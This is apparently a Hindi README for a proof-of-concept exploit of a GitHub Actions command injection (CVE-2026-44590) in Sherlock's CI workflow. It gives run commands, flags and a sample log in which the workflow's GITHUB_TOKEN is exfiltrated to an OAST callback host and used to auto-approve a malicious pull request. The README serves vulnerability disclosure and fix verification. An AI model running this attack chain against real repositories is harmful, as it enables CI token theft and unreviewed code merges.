
CVE-2026-44590 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, Sherlock के GitHub Actions वर्कफ़्लो में कमांड इंजेक्शन जो pull_request_target के माध्यम से RCE और GITHUB_TOKEN एक्सफ़िल्ट्रेशन सक्षम करता है।
खोज एवं रिपोर्ट: Astaruf
पूर्ण विवरण: https://nstsec.com/en/posts/sherlock-rce-pull-request-target-cve-2026-44590/
अपस्ट्रीम सलाह: sherlock-project/sherlock GHSA advisory
NVD प्रविष्टि: https://nvd.nist.gov/vuln/detail/CVE-2026-44590
CVE रिकॉर्ड: https://www.cve.org/CVERecord?id=CVE-2026-44590
इस रिपॉजिटरी में CVE-2026-44590 के लिए प्रूफ-ऑफ-कॉन्सेप्ट शामिल है, जो sherlock-project/sherlock के validate_modified_targets.yml GitHub Actions वर्कफ़्लो में एक कमांड इंजेक्शन है। कोई भी GitHub उपयोगकर्ता एक पुल रिक्वेस्ट खोल सकता है जो विशेषाधिकार प्राप्त CI संदर्भ में मनमाना कमांड निष्पादन ट्रिगर करता है, वर्कफ़्लो के GITHUB_TOKEN को बाहर निकालता है, और दुर्भावनापूर्ण PR को स्वतः-अनुमोदित करता है, यह सब बिना किसी मानवीय हस्तक्षेप के।
पूर्ण तकनीकी विवरण (मूल-कारण विश्लेषण, शोषण वॉकथ्रू, प्रभाव चर्चा, और वास्तविक-विश्व परिदृश्यों में हमलावर क्या कर सकता है इस पर एक अध्याय) के लिए ब्लॉग पोस्ट देखें:
यह README विशेष रूप से PoC स्क्रिप्ट पर केंद्रित है: यह क्या करती है, इसे कैसे चलाएं, और क्या उम्मीद करें।
poc.py के बारे मेंpoc.py एक एकल स्व-निहित Python स्क्रिप्ट है (केवल stdlib) जो पूरी हमले की श्रृंखला को अंत-से-अंत तक स्वचालित करती है:
sherlock-project/sherlock को फोर्क करती हैmaster को प्री-फिक्स कमिट पर वापस ले जाती है ताकि अपस्ट्रीम फिक्स के बाद भी बग को पुन: उत्पन्न किया जा सकेinteractsh-client) स्पॉन करती हैGITHUB_TOKEN निकालती है (--mode exfil में) और उसे स्पष्ट पाठ में डिकोड करती हैVULNERABILITY CONFIRMED या FIX VERIFIEDinteractsh-client समाप्त करती है)ठीक एक मैनुअल चरण आवश्यक है (प्रति फोर्क पहली बार GitHub के "I understand my workflows" बैनर पर क्लिक करना), क्योंकि इसे खारिज करने के लिए कोई सार्वजनिक API मौजूद नहीं है। स्क्रिप्ट इस स्थिति का पता लगाती है और स्पष्ट संकेत के साथ रुक जाती है।
python3 poc.py --fork-owner <your-github-username>
रिपो को फोर्क करती है (यदि आवश्यक हो), अपस्ट्रीम (पैच किया गया master) के साथ सिंक करती है, एक दुर्भावनापूर्ण PR खोलती है, हमले की श्रृंखला चलाती है, और FIX VERIFIED रिपोर्ट करती है क्योंकि पैच किया गया वर्कफ़्लो किसी भी शेल कमांड के चलने से पहले पेलोड को ब्लॉक कर देता है।
python3 poc.py --fork-owner <your-github-username> --vulnerable
ऊपर जैसा ही, लेकिन पहले फोर्क के master को प्री-फिक्स कमिट (271608fb) पर वापस ले जाता है। अपेक्षित निर्णय: VULNERABILITY CONFIRMED।
python3 poc.py --fork-owner <your-github-username> --vulnerable --mode exfil
एक्सफिल पेलोड git config --list को OAST पर डंप करता है और वर्कफ़्लो (और इस प्रकार GITHUB_TOKEN) को जीवित रखने के लिए 180 सेकंड के लिए सोता है। जब वर्कफ़्लो सो रहा होता है, स्क्रिप्ट OAST लॉग से टोकन निकालती है, उसे डिकोड करती है, और तुरंत PR को अनुमोदित करने के लिए GitHub API को कॉल करती है। PR अंततः github-actions[bot] द्वारा अनुमोदित हो जाता है।
gh (GitHub CLI), प्रमाणित:
gh auth login
gitinteractsh-client (वैकल्पिक लेकिन अनुशंसित)। स्थापित होने पर, स्क्रिप्ट इसे स्वतः स्पॉन करती है और स्क्रिप्ट के भीतर कॉलबैक सत्यापित करती है:
go install github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest
--oast-url के साथ पास करें और स्वतः-सत्यापन चरण छोड़ दिया जाएगा।स्क्रिप्ट को पहले से फोर्क मौजूद होने की आवश्यकता नहीं है, यह स्वचालित रूप से एक बना लेती है।
--mode harmless (डिफ़ॉल्ट)पेलोड एक स्थिर पुष्टिकरण स्ट्रिंग के साथ एक एकल curl POST है। कोई रहस्य नहीं पढ़ा जाता, कोई API कॉल नहीं किया जाता, एकमात्र दुष्प्रभाव OAST कॉलबैक है। किसी भी क्रेडेंशियल को उजागर किए बिना कमजोरी की पुष्टि करने के लिए इसका उपयोग करें।
--mode exfilपेलोड git config --list (जिसमें http.https://github.com/.extraheader के अंतर्गत base64-एन्कोडेड GITHUB_TOKEN होता है) को OAST पर डंप करता है, फिर 180 सेकंड के लिए सोता है। फिर स्क्रिप्ट:
x-access-token:ghs_XXXXXXXX...।x-access-token: उपसर्ग हटाती है और मानक अनुमोदन पेलोड ({"event":"APPROVE","body":"All checks passed. LGTM!"}) के साथ POST /repos/<fork>/pulls/<n>/reviews कॉल करने के लिए कच्चे टोकन का उपयोग करती है।github-actions[bot] द्वारा अनुमोदित के रूप में दिखाई देता है।एक बार अनुमोदन दर्ज हो जाने के बाद, स्क्रिप्ट वर्कफ़्लो के शेष 180-सेकंड के सोने को छोड़ देती है, क्योंकि हमले की श्रृंखला पूरी हो चुकी है और रनर के टाइम आउट होने की प्रतीक्षा करने से कुछ नहीं जुड़ता।
| फ़्लैग | विवरण |
|---|---|
--fork-owner <user> | आवश्यक। GitHub उपयोगकर्ता नाम जो फोर्क का मालिक है (या होगा) |
--fork-name <name> | फोर्क रिपॉजिटरी नाम (डिफ़ॉल्ट: sherlock) |
--oast-url <url> | कॉलबैक प्राप्त करने वाला OAST एंडपॉइंट। छोड़े जाने पर, स्क्रिप्ट स्वतः interactsh-client स्पॉन करती है और स्क्रिप्ट-में निर्णय चलाती है |
--mode harmless|exfil | पेलोड प्रकार (डिफ़ॉल्ट: harmless) |
--vulnerable | चलाने से पहले फोर्क के master को प्री-फिक्स कमिट (271608fb) पर बलपूर्वक रीसेट करें। --no-sync निहित करता है |
--no-sync | फोर्क को अपस्ट्रीम के साथ सिंक करना छोड़ें (पिन किए गए कमिट का परीक्षण करते समय उपयोगी) |
--base-branch <name> | फोर्क पर PR लक्ष्य ब्रांच (डिफ़ॉल्ट: master) |
--keep-branch | पूरा होने के बाद PoC ब्रांच को न हटाएं |
--no-poll | वर्कफ़्लो रन पोलिंग छोड़ें और PR निर्माण के बाद बाहर निकलें |
डिज़ाइन के अनुसार, PoC PR को उसी फोर्क के master पर फोर्क की एक ब्रांच से खोलता है। यह सीधे sherlock-project/sherlock को लक्षित नहीं करता। इसके दो कारण हैं।
सार्वजनिक रिपॉजिटरी पर एक पुल रिक्वेस्ट किसी के लिए भी दृश्यमान होती है। PR बंद होने के बाद भी डिफ इंडेक्स्ड रहता है, और GitHub Actions लॉग वेब UI के माध्यम से सुलभ होते हैं। अपस्ट्रीम रिपॉजिटरी पर काम करने वाले कमांड इंजेक्शन पेलोड के साथ PR खोलना प्रभावी रूप से मेंटेनर्स के पास फिक्स भेजने का मौका मिलने से पहले एक कार्यशील एक्सप्लॉइट प्रकाशित करना होगा। रिपॉजिटरी देखने वाला कोई भी व्यक्ति पेलोड कॉपी कर सकता है, OAST कॉलबैक को दुर्भावनापूर्ण एंडपॉइंट से बदल सकता है, और वास्तविक GITHUB_TOKEN को बाहर निकालने के लिए इसका उपयोग कर सकता है।
PoC एक्सप्लॉइट को सार्वजनिक दृश्य से दूर रखते हुए बग को अंत-से-अंत तक प्रदर्शित करने के लिए फोर्क-से-फोर्क PR का उपयोग करता है।
जब आप sherlock-project/sherlock को फोर्क करते हैं, तो वर्कफ़्लो फ़ाइल validate_modified_targets.yml फोर्क में शामिल होती है। फोर्क के master को लक्षित करने वाला PR खोलना फोर्क के संदर्भ में वर्कफ़्लो को ट्रिगर करता है, जिसमें फोर्क के लिए जारी GITHUB_TOKEN होता है। तंत्र मूल हमले के समान हैं:
pull_request_target ट्रिगर स्वचालित रूप से फायर होता हैGITHUB_TOKEN तक पहुंच होती हैactions/checkout टोकन को http.https://github.com/.extraheader सेटिंग के माध्यम से .git/config में लिखता हैएकमात्र अंतर विस्फोट त्रिज्या है: टोकन फोर्क का है, sherlock-project/sherlock का नहीं। कमजोरी पुन: उत्पन्न होती है; प्रभाव निहित होता है।
GitHub नए बनाए गए फोर्क पर Actions को एक UI बैनर के पीछे अक्षम कर देता है:
Workflows aren't being run on this forked repository Because this repository contained workflow files when it was forked, we have disabled them from running on this fork. Make sure you understand the configured workflows and their expected usage before enabling Actions on this repository.
इस बैनर को खारिज करने के लिए कोई सार्वजनिक API नहीं है। स्क्रिप्ट इस स्थिति का पता लगाती है (फोर्क अभी बनाया गया था या शून्य ऐतिहासिक वर्कफ़्लो रन हैं) और स्पष्ट संकेत के साथ रुक जाती है:
[*] ======================================================================
[*] MANUAL STEP REQUIRED
[*] ======================================================================
[*] Open this URL in a browser: https://github.com/<user>/sherlock/actions
[*] Click 'I understand my workflows, go ahead and enable them'.
[*] This is required only once per fresh fork (GitHub-imposed).
[*] ======================================================================
Press ENTER once you've enabled Actions on the fork...
किसी दिए गए फोर्क पर एक बार बैनर पर क्लिक करने के बाद, स्क्रिप्ट उसी फोर्क के खिलाफ बाद के रनों पर फिर से संकेत नहीं देगी।
10:54:34 [>] No --oast-url provided, spawning interactsh-client
10:54:36 [+] Interactsh URL: https://abc...oast.pro
10:54:36 [*] Target fork: youruser/sherlock
10:54:36 [*] Payload mode: exfil
10:54:36 [>] Verifying fork
10:54:40 [+] Fork created
10:54:40 [+] Fork verified (parent: sherlock-project/sherlock)
[... manual prompt + ENTER ...]
10:54:56 [>] Enabling 'Actions can approve PRs' on fork (mirrors upstream setting)
10:54:56 [+] Setting enabled
10:54:56 [>] --vulnerable: rolling fork back to commit 271608fb
10:54:59 [+] Fork master rolled back to vulnerable commit
10:55:00 [+] Injected payload key into sherlock_project/resources/data.json
10:55:04 [+] PR opened: https://github.com/youruser/sherlock/pull/1
10:55:10 [+] Workflow run found: https://github.com/youruser/sherlock/actions/runs/...
10:55:10 [>] Polling OAST for token while workflow is alive
10:55:55 [+] Token captured: x-access-token:ghs_RL6tq56Kmr1USgAHsKeqQdfKc304ij36XOke
10:55:55 [>] Approving PR #1 on youruser/sherlock with stolen token
10:55:56 [+] PR approved by github-actions[bot]: state=APPROVED
10:55:56 [+] Review URL: https://github.com/youruser/sherlock/pull/1#pullrequestreview-...
10:55:56 [+] Attack chain complete, skipping the rest of the workflow run
10:55:56 [+] ======================================================================
10:55:56 [+] VULNERABILITY CONFIRMED: GITHUB_TOKEN exfiltrated
10:55:56 [+] Decoded credential: x-access-token:ghs_RL6tq56Kmr1USgAHsKeqQdfKc304ij36XOke
10:55:56 [+] PR auto-approved via API: state=APPROVED
10:55:56 [+] (Token is short-lived and tied to this workflow run.)
10:55:56 [+] ======================================================================
10:55:56 [>] Cleanup: deleting remote branch poc-cve-pr-target-...
10:55:58 [+] Done
10:18:00 [>] Polling OAST for token while workflow is alive
[... no token captured for the entire 180-second window ...]
10:21:00 [*] status=completed conclusion=failure
10:21:00 [+] ======================================================================
10:21:00 [*] FIX VERIFIED: no token exfiltrated from the runner
10:21:00 [*] No 'http.extraheader=AUTHORIZATION: basic ...' found in OAST log
10:21:00 [*] Either the injection was blocked, or persist-credentials: false
10:21:00 [*] kept the token out of the git config (defense in depth).
10:21:00 [+] ======================================================================
यह रिपॉजिटरी केवल शैक्षिक और सुरक्षा अनुसंधान उद्देश्यों के लिए प्रकाशित की गई है। कमजोरी की जिम्मेदारीपूर्वक मेंटेनर्स को सूचना दी गई है, अपस्ट्रीम में फिक्स किया गया है, और एक CVE का अनुरोध किया गया है। इस PoC को उन रिपॉजिटरी के खिलाफ न चलाएं जिनके आप मालिक नहीं हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट अनुमति नहीं है। लेखक किसी भी दुरुपयोग के लिए जिम्मेदार नहीं है।